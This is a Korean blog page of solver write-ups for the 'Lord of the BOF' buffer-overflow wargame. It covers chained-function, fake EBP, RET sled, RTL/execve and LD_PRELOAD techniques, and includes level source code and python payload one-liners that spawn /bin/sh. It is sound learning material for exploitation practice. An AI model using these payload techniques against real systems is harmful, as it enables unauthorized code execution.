'Wargame/Lord Of the Bof(redhat)'에 해당되는 글 37건

소스가 상당히 길어졌다.


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}


근데 결국 보면 MO함수가 실행되서 system함수가 실행되면 되는거다. 일단 공유라이브러리는 안되고 ret가 DO함수 주소여야 한다. 그렇다면 ret를 DO함수로 만든다음 MO함수까지 호출하도록 하면 되는데 MO함수 내에선 또 check값이 4여야만 system함수가 호출된다. 그렇다면 check값은 MO함수를 제외한 나머지 함수에 의해 순차적으로 값이 세팅된다. 결국 DO -> GYE -> GUL -> YUT -> MO 형식으로 호출이 되면 된다.

ret부터 148 바이트가 초기화가 안되기 때문에 ret뒤의 값들을 활용하면 된다.


이런식이다.

DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소

RET부터 일케 넣어주면 맨처음 DO함수로 EIP가 변경된뒤 DO함수 종료시에 RET가 실행되면서 기존에 넣어둔 GYE로 EIP가 변경되고 같은형식으로 쭉 MO함수까지 호출이 되게된다.


DO  = 0x080487ec


GYE = 0x080487bc


GUL = 0x0804878c


YUT = 0x0804875c


MO  = 0x08048724



실제로 넣어보면 MO함수까지 호출되는 것을 알 수 있고 system함수에 인자값이 제대로 들어오지 않아 오류가 난것을 확인할 수 있다.


이제 system함수내에 들어갈 /bin/sh 문자열 주소를 구하면 되는데 공유라이브러리 영역과 환경변수 buf~buf+44영역에는 담을수가 없다. 그치만 buf48~buf148 영역의 100byte라는 충분한 메모리 공간이 있기 때문에 이를 활용해주면 된다.


함수 주소를 모두 넣어준뒤 마지막 MO함수에서는 자신의 인자값으로 system함수의 인자값을 세팅하므로 MO함수의 인자값이 들어가는 위치에 맞춰 아래와 같은 방식으로 세팅을 해주면 된다.


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"


bin/sh문자열 주소는 위에서도 언급했듯이  


DO함수 주소 + GYE함수 주소 + GUL함수 주소 + YUT함수 주소 + MO함수 주소 + "AAAA"+"/bin/sh 문자열 주소"+"/bin/sh 헥사값"


요렇게 /bin/sh값을 아예 buf48~buf148영역에 박아넣고 그주소를 system함수 인자값으로 세팅해주면 된다.


필요한 개념은 다 정리됬으니 이제 맞춰 페이로드를 짜면된다.


./succubua `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xee\xee\xee\xee"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



일단 버퍼에 넣어놓은 /bin/sh값의 정확한 메모리 주소를 모르기 때문에 /bin/sh 문자열주소는 임의의 값으로 세팅한뒤 세그먼트 fault낸뒤 core파일로 분석했다.



/bin/sh문자열의 주소는 0xbffffaa8이었다.


이제 모든 재료는 다 구했으니 그대로 익스플로잇해주면 된다.


./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"\x2f\x62\x69\x6e"+"\x2f\x73\x68\x00"'`



잘나온당.






 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (0) 2018.01.12
LOB succubus -> nightmare  (0) 2018.01.12
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같이 RET값을 스택 및 공유 라이브러리 영역으로 지정할 수 없고 이전단계에서 추가된 사항으로 인해 RET뒤로는 값을 채울수가 없다. SFP와 RET만 가지고 뭔갈 해야되는데 친절하게 FEBP라고 Fake EBP 기법을 쓰라고 적혀있다.



FAKE EBP 기법을 간단히 설명하면 EBP값을 조작한 뒤 RET에 leave ret Gadget을 넣어 leave ret을 한번더 실행하게하면 현재 EBP영역의 4바이트값이 leave명령어에 의해 제거되고 결국 EBP+4영역의 4바이트값이 ret를 통해 실행되는 형식이다.

조작할 EBP 영역은 쉘코드의 주소값이 담긴 영역에 -4바이트 이다. 

여러가지 방법이 있지만 현재 buf에 내가원하는 값을 담을 수 있기 때문에 buf에 쉘코드 주소를 담고 실제 쉘코드는 성공확률을 높이기위해 NOP를 많이 박으려고 환경변수를 통해 올려놨다.



먼저 환경변수에 쉘코드를 올려놓은 후 주소를 구했다.


그럼 현재까지 "\x96\xfe\xff\xbf"+"A"*36+"buf-4주소"+"leave ret gadget 주소" 이렇게 완성할 수 있고 buf-4주소는 임의의 값을 넣은 후 세그먼트 fault 발생시켜 코어파일을 통해 구했다.



buf-4 주소 = 0xbffff9bc

현재까지 페이로드는 "\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"leave ret gadget 주소" 이고 마지막으로 leave ret gadget은 main 함수 맨 마지막에 있는 주소를 썼다.



 leave ret gadget 주소 = 0x80484df


이제 필요한건 다구했으니 익스플로잇 해주면된다.

"\x96\xfe\xff\xbf"+"A"*36+"\xbc\xf9\xff\xbf"+"\xdf\x84\x04\x08"






'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB succubus -> nightmare  (0) 2018.01.12
LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 RET값에 공유 라이브러리 영역과 스택영역값을 쓸수없도록 되어있다. 일반적으로 생각했을땐 익스플로잇 하기 힘들다 생각할 수 있지만 RET Sled 기법을 사용하면 우회가 가능하다.


RET값에 RET명령어의 주소값을 넣어주면 RET가 2번실행되면서 기존에 BOF통해 덮은 RET + "4바이트"의 4바이트 지점으로 EIP가 이동된다. 그럼 환경변수를 통해 쉘 코드를 올려놓고 RET 뒤의 4바이트값을 쉘코드 주소로 넣어주면 된다. ret명령어 주소는 main 함수의 맨 마지막에 있는 ret명령어 주소값을 썼다. 



'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB zombie_assassin -> succubus  (0) 2018.01.11
LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
LOB golem -> darkknight  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

엄청나게 삽질을 한 문제다.


일단 소스를 보면 전과 다르게 엄청나게 길어진 것을 볼 수 있다.



소스를 잘 보면 결국 execve함수의 주소를 구한뒤 이 값이 ret값이랑 일치해야 기본적으로 익스를 진행할 수 있는 구조다. 그렇다면 execve를 활용해서 쉘을 따야된다는 건데 execve함수를 잘 몰라서 찾아보니 이런 형태의 함수였다.


int execve(const char *path, char *const argv[], char *const envp[]);

path에 지정한 경로명의 파일을 실행하며 argv, envp를 인자로 전달한다. argv envp는 포인터 배열이다이 배열의 마지막에는 NULL 문자열을 저장해야 한다.


요 형식대로라면 첫번째 인자로 /bin/sh 문자열 주소를 넣어주고, 두번째 인자로는 {/bin/sh문자열주소,NULL문자열 주소}, 세번째 인자로는 환경변순데 NULL을 줘도 무관해서 결국 NULL문자열의 주소를 사용하면 될 것 같았다.



요런식으로 간단하게 execve를 이용해서 쉘을 띄우는 소스를짜서 실제로 디버깅을 해봤다.



execve 함수의 인자값을 보면 첫번째 인자인 0x8048450 주소값을 보면 /bin/sh 문자열이 저장되어 있었고 두번째 인자인 eax값의 담긴 주소값을 보면 /bin/sh문자열 이후 NULL값이 담겨있는걸 실제로 확인할 수 있었다. (두번째 포인터형 배열인 argv에서 *argv[0], *argv[1] 영역에 /bin/sh , NULL의 문자열 주소값이 아닌 그냥 값이 담겨있었던 이유는 잘 모르겠음. 전체적인 메모리구조 및 포인터에 대한 지식이 너무 부족함.)



그럼이제 다음과 같이 총3가지 재료들을 모아주면 된다.

execve 주소

/bin/sh 문자열 주소

/bin/sh 문자열 주소 +  NULL값이 있는 주소


execve 주소는 기존 코드에 의하면 값을 구하는과정에서 /home/giant/assassin 이라는 파일에 대한 읽기 권한이 필요한데 현재 권한에서는 해당 파일의 읽기권한이 없어 코드를 그대로 실행했을 경우 제대로된 execve값이 세팅이 안되기 때문에 소스에서 /home/giant/assassin 파일을 /home/bugbear/giant 파일로 바꾼후 printf로 execve값을 출력하도록 수정한뒤 컴파일한 파일로 구했다.





execve 주소 = 0x400a9d48


그 다음 /bin/sh 문자열 주소를 구해야되는데 간단하게 환경변수에 올려놓고 주소값 구하는 방식을 사용했다.


마지막으로 가장 큰 문제였던 두번째 인자값을 구해야 했는데 스택 내 맨 마지막에 프로그램명+NULL이 저장되는 것을 활용했다.


위의 두가지 개념을 생각해논 다음 먼저 환경변수에 /bin/sh를 올려놓고 주소값을 구했다. 이 때 실행파일명에 주소값이 영향을 받으므로 최종적으로 익스할때 쓸 실행파일명이 4바이트주소값이므로 임의의 4바이트 주소값으로 실행파일명을 정해논다음 해당파일에서 환경변수값을 구했다.




세그먼트 에러낸 후 코어파일에서 정확한 주소값을 구했다.



/bin/sh 문자열 주소 = 0xbfffff3b


마지막으로 두번째 인자값의 주소는 스택내 맨 마지막 부분의 주소를 위의 코어파일을 통해 구했다.



/bin/sh 문자열 주소 + NULL 주소 값이 있는 주소 = 0xbffffff7


이제 실행파일명을 /bin/sh문자열이 있는 주소로 변경한뒤 구해논 재료들을 가지고 익스플로잇하면 된다.



? 완벽하게 구했다고 생각했는데 execve값이 계속 틀리다고 나왔다. 여기서 엄청난 삽질을 하다 멘탈이 나갔는데 결국 구글링해서 알고보니 execve 주소값에 들어간 \x0a값이 개행문자로 들어가서 그 뒤에 값들이 제대로 인자값으로 안들어간거였다.


인자값을 ""로 묶어주면 %0a가 개행으로 안들어가서 익스할수있었다.



이제 심볼릭 링크걸고 익스해주면 된다.















'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB assassin -> zombie_assassin  (0) 2018.01.11
LOB giant -> assassin  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
LOB golem -> darkknight  (0) 2018.01.09
LOB skeleton -> golem  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 RET의 첫바이트 영역 검증을 통해 RET를 스택내의 값으로 돌릴 수가 없다. 즉 스택내에 쉘코드를 올려봤자 실행할 수가 없다는 것이다. 그러다면 스택영역 외의 영역을 통해 익스를 해야하는데 간단한 RTL을 통해 공유라이브러리의 system함수를 사용하면 가능하다.

 

 

system함수 주소와 환경변수에 /bin/sh문자열 올린 후 주소값 구해서 RTL로 익스하면된다.

 

 

 

 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB giant -> assassin  (0) 2018.01.11
LOB bugbear -> giant  (0) 2018.01.11
LOB golem -> darkknight  (0) 2018.01.09
LOB skeleton -> golem  (0) 2018.01.09
LOB vampire -> skeleton  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 버퍼,환경변수,매개변수,스택 초기화 같은 로직은 없는데 overflow 가능한 영역이 sfp의 1바이트 뿐이다. fake ebp 기법 전에 간단하게 개념잡으라고 낸 문제같다.

 

 

41바이트를 A로 넣고 스택영역을보면 다음과 같다. 맨마지막 41바이트째 값이 SFP의 마지막1바이트로 들어간걸 볼 수 있다. 만약 이 값을 buf시작주소-4영역으로 바꾸게 되면 leave 명령어로 인해 main함수로 복귀시 ebp가 buf-4영역으로 바뀌어있고 main함수에서 leave ret 명령어를 실행하게되면 leave 명령어로 인해 buf-4영역의 4바이트값이 제거되고 그다음 ret명령어로 인해 buf+0 영역의 값이 eip되어 해당 eip값으로 점프가 될 것이다.

 

 

그렇다면 위의 개념을 인지한채 페이로드짜서 익스하면 된다. 중간에 gdb로 구한 주소값으로 익스했더니 에러나서 코어파일 디버깅해서 정확한 주소 구한뒤 익스했다.

 

 

 

 

 

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB bugbear -> giant  (0) 2018.01.11
LOB darkknight -> bugbear  (0) 2018.01.10
LOB skeleton -> golem  (0) 2018.01.09
LOB vampire -> skeleton  (0) 2018.01.09
LOB troll -> vampire  (0) 2018.01.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 이전단계에서 ret이후 모든 스택영역을 싹다 날리는 코드가 추가됬다.


argv , 파일명 , 환경변수 , 버퍼 싹다 못쓴다. 유일하게 덮을 수 있는게 ret뿐이라 rtl도 안된다. ret만 가지고 


뭘 할 수 있을까 한참 생각하다 스택내에선 뭘 어쩌지 못하겠다 싶어서 다른영역에 뭔가 내가원하는 값들을


삽입할 수 있는게 있나 찾아보다 이런걸 발견했다.


환경변수 중에 LD_PRELOAD라는 값이 있는데 이 값은 프로그램이 메모리에 로딩되기 전에 메모리에 저장된다고 한다. 그럼 ret 이후의 스택영역이 아닌 그 이전영역에 값이 존재할거기때문에 초기화가 안된다.  



그럼 이제 LD_PRELOAD 환경변수에 쉘코드를 저장시켜야되는데 LD_PRELOAD에는 공유라이브러리 파일명을 저장시켜야 프로그램이 제대로 동작이 되기 때문에 먼저 공유라이브러리 파일을 만들었다.


c파일은 아무거나 하나 만들면되고 컴파일 시 해당 파일이 공유라이브러리 및 동적라이브러리로 사용되도록 -fPIC -shared 옵션을 추가해서 컴파일해줬다.

-fPIC : Position-Independent Code의 약자로 test.o파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션

-shared : 공유 라이브러리로 만드는 옵션  



요렇게 만들어준 다음에 해당 파일을 LD_PRELOAD 환경변수에 적용시켜줬다. 이때 정확한 이유는 모르겠지만 파일경로를 절대경로로 해야 에러가 안났다.


여기까지되면 LD_PRELOAD가 저장된  영역 주소값을 찾아야되는데 이 영역은 프로그램의 스택보다 낮은 주소에 존재하므로 esp 레지스터를 기준으로 하위주소들에 쉘코드가 박혀있는 부분을 gdb로 찾았다. 



위의 영역에 쉘코드가 올라와있었고 대충 중간값줘서 익스했다.




'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB darkknight -> bugbear  (0) 2018.01.10
LOB golem -> darkknight  (0) 2018.01.09
LOB vampire -> skeleton  (0) 2018.01.09
LOB troll -> vampire  (0) 2018.01.09
LOB orge -> troll  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 다음과 같다. 버퍼, 환경변수 , 매개변수까지 싹다 막혀있다. 



여기서 한참 생각하다 멘탈이 나갔는데 일단 그냥 gdb로 깐담에 메모리를 쭉한번 봤더니 실행파일명이 스택 거의 마지막부근에 존재하고 있었다.



뭐지?해서 찾아보니 argv[0]에 들어갔던 실행파일명은 소스코드 내 메모리초기화로 인해 초기화 되었지만 스택 내에 내가 몰랐던 요런 구조가 있었다.



맨 마지막에 보면 NULL값위에 프로그램 이름이 저장되게 되는데 요 부분은 코드상에서 메모리 초기화하는 모든 부분에 영향을 안받기 때문에 이걸 활용하면 될 것 같았다.


근데 실행파일명에 쉘코드박아서 익스하는건 이미 했어서 그대로 진행했는데 계속 세그먼트 폴트가 떴다. 도저히 이유를 모르겠어서 삽질좀 하다가 NOP값을 쉘코드 앞뒤에 다 박고 했더니 익스가 됬다. 뭐지?하고 좀 찾아봤더니 이런 이유가 있어서 그랬던거 같다.


http://orang.tistory.com/entry/%EC%89%98%EC%BD%94%EB%93%9C-%EB%92%A4%EC%97%90-%EC%97%AC%EC%9C%A0-%EA%B3%B5%EA%B0%84%EC%9D%B4-%ED%95%84%EC%9A%94%ED%95%9C-%EA%B2%BD%EC%9A%B0


익스는 파일명 쉘코드 삽입형태만 바꾸고 이전의 실행파일명에 쉘코드 박아서 링크걸고 했던것처럼 똑같이  했다.




'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB golem -> darkknight  (0) 2018.01.09
LOB skeleton -> golem  (0) 2018.01.09
LOB troll -> vampire  (0) 2018.01.09
LOB orge -> troll  (0) 2018.01.08
LOB darkelf -> orge  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

소스를 보면 argv[2]에 쉘코드 넣고 익스할 수 있는 구존데 한가지 문제가 있다. 리턴주소를 덮을때 메모리 주소가 \xbf\xff 영역이면 안된다. 일반적으로 익스를 하게되면 argv[2] 영역은 무조건 \xbf\xff 올라갔다.

그래서 argv[3] 영역에 쓰레기값을 엄청나게 넣어서 argv[2] 영역의 주소값이 상대적으로 낮아지도록 해서 \xbf\xfe 영역으로 만들어 익스했다.




'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB skeleton -> golem  (0) 2018.01.09
LOB vampire -> skeleton  (0) 2018.01.09
LOB orge -> troll  (0) 2018.01.08
LOB darkelf -> orge  (0) 2018.01.08
LOB wolfman -> darkelf  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 다음과 같이 이전단계에서 argv[2]를 사용할 수 없고 argv[1] 또한 메모리 초기화로 인해 이용할 수 없는 상황이었다.



그렇다면 사용할 수 있는 부분은 argv[0] 값인 실행파일명이었다.


실제로 해당 부분을 사용할 수 있는지 확인해보기 위해 gdb로 main의 leave 지점에 브포건 후 esp 영역부터 쭉 확인해보면 다음과 같이 실제 실행파일명이 스택내에 존재하고 있는 것을 알 수 있었다.



그렇다면 실행파일명에 쉘코드를 박아 실행시키면 스택내에 위와같이 쉘코드가 올라갈 것이고 RET를 해당주소로 덮으면 익스가 가능할 거라고 생각했고 파일명에 NOP와 쉘코드를 박아서 만들었더니 에러가 떴다. 쉘코드에 0x2f가 포함되면서 해당 값이 디렉터리 구분자로 인식되면서 에러가 났던거였다. 0x2f가 포함안된 쉘코드로 다시 실행파일을 만들었다.



이제 해당 실행파일명이 저장되는 메모리 주소를 구해야되는데 기존의 구한 파일명과 길이가 달라 메모리값 차이가 존재해 코어파일을 통해 주소를 구했다.




이제 필요한건 다 구했으니 그대로 익스해주면 된다.



쉘까지 뜨는건 확인했으니 이제 쉘코드로된 실행파일이 실행될 때 실제 setuid가 걸린 troll 바이너리가 실행되도록 심볼릭 링크 걸어주고 다시 익스하면 된다.










'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB vampire -> skeleton  (0) 2018.01.09
LOB troll -> vampire  (0) 2018.01.09
LOB darkelf -> orge  (0) 2018.01.08
LOB wolfman -> darkelf  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,